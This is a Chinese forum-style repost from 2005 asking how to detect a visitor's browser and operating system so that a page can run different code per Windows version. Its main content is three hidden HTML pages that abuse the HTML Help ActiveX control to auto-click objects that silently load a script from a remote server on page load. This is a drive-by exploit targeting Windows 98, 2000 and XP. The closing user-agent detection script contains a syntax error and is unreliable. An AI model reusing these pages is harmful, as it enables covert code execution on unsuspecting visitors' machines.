分享

怎么取客户端的浏览器类型和操作系统类型

 intruder 2005-12-21
怎么取客户端的浏览器类型和操作系统类型。

当打开网页,根据系统的不同分别执行不同的代码!
在98下执行后pangtl.htm网页源码
这里调用的是file://C:\WINDOWS\Help\Iewebhlp.chm


<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINDOWS\Help\Iewebhlp.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>

在2K下执行后pangtl.htm网页源码
这里调用的是file://C:\WINNT\Help\apps.chm


<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINNT\Help\apps.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>


在XP下执行后pangtl.htm网页源码
这里调用的是file://C:\WINDOWS\Help\apps.chm


<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINDOWS\Help\apps.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>

区别

98系统 file://C:\WINDOWS\Help\Iewebhlp.chm (WINDOWS目录 Iewebhlp.chm文件)

2K系统 file://C:\WINNT\Help\apps.chm (WINNT目录 apps.chm文件)

XP系统 file://C:\WINDOWS\Help\apps.chm (WINDOWS目录 apps.chm文件)


做个自动判断的脚本网页!!!

 

怎么取客户端的浏览器类型和操作系统类型。

<script language="javascript">
//-->
var Explorer_V="";
var System_V="";
function system(){
var systemID=0; //操作系统的编号,初始值为0(即为未知系统)
if((navigator.appVersion.lastIndexOf(‘Windows 95‘) != -1) || (navigator.appVersion.lastIndexOf(‘Win95‘) != -1))
{ System_V="Windows 95/98/ME";systemID=1;}
else if((navigator.appVersion.lastIndexOf(‘Windows NT 4‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 4‘) != -1))
{System_V="Windows NT4";systemID=2;}
else if((navigator.appVersion.lastIndexOf(‘Windows NT 5.0‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 5.0‘) != -1))
{System_V="Windows 2000";systemID=3;}
else if((navigator.appVersion.lastIndexOf(‘Windows NT 5.1‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 5.1‘) != -1))
{System_V="Windows XP";systemID=4;}
else if(navigator.appVersion.lastIndexOf(‘Linux‘) != -1)
{System_V="Linux";systemID=5;}
else if(navigator.appVersion.lastIndexOf(‘OS/2‘) != -1)
{System_V="OS/2";systemID=6;}
else
{System_V="未知系统";systemID=0;}
System_V+=" ";
return (systemID); //将其做为函数的返回值
}

function explorer2(){
if (navigator.appVersion.lastIndexOf(‘MSIE 4.0‘) != -1 )
Explorer_V="IE 4.0";
else if (navigator.appVersion.lastIndexOf(‘MSIE 5.0‘) != -1 )
Explorer_V="IE 5.0";
else if (navigator.appVersion.lastIndexOf(‘MSIE 5.5‘) != -1 )
Explorer_V="IE 5.5";
else if (navigator.appVersion.lastIndexOf(‘MSIE 6‘) != -1 )
Explorer_V="IE 6";
else if(navigator.appName.lastIndexOf(‘Netscape‘) != -1)
Explorer_V="Netscape";
else if(navigator.appName.lastIndexOf(‘Netscape‘) != -1)
Explorer_V="Netscape";
else if(navigator.userAgent.indexOf("Opera") != -1)
Explorer_V="Opera";
else Explorer_V="未知浏览器";

}
explorer2();
system();
alert(var Explorer_V + var System_V);
// -->
</script>

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多